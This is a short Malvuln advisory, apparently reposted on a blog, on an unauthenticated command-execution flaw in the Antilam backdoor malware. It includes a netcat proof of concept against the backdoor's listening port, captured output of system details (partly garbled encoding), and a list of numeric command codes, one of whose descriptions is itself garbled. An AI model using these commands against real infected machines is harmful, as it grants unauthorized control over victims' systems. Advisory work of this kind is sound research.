Tuesday, May 11, 2021

Backdoor.Win32.Antilam.13.a Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1ef711b34cc278449f1997e4ed06334a.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.13.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware drops an executable named "scandisk.exe" that listens on TCP ports 47891 and 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Example, to get the date/time we can enter 015 or the hex value 0xF.
Type: PE
MD5: 1ef711b34cc278449f1997e4ed06334a
Vuln ID: MVID-2021-0204
Dropped files: scandisk.exe
Disclosure: 05/07/2021

Exploit/PoC:
001 + Enter (Gets system info)

nc64.exe 192.168.88.127 47891
001
╧α∩Ωα Windows: C:\WINDOWS
╧α∩Ωα System:
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\
┬σ≡±Φ Windows: Windows NT 6.2 9200
╠Φφ≤≥ Γ Windows: 688
╚∞ Ωε∞∩α: DESKTOP-1B6KQJO
╚∞ ■τσ≡α: Victim
▀τ√Ω Windows: English (United States)
╨ατ≡σ°σφΦσ: 1593x810
NumLock: Off
CapsLock: Off
ScrollLock: Off
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,059,726,640
╒ε±≥: DESKTOP-1B6KQJO

Other commands:

004 Taskbar
007 Monitor
009 Ctrl+Alt+Del
010 CapsLock
012 CD-ROM
015 or 0xF(HEX) Get Date/Time
018 Mouse was been unlocked
029 returns name of the current malware running
022 returns the 65784am ManagerAdministrator Command Prompt Promptrator)


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Thanks for everything Templateism - You should have written the code a little more complicated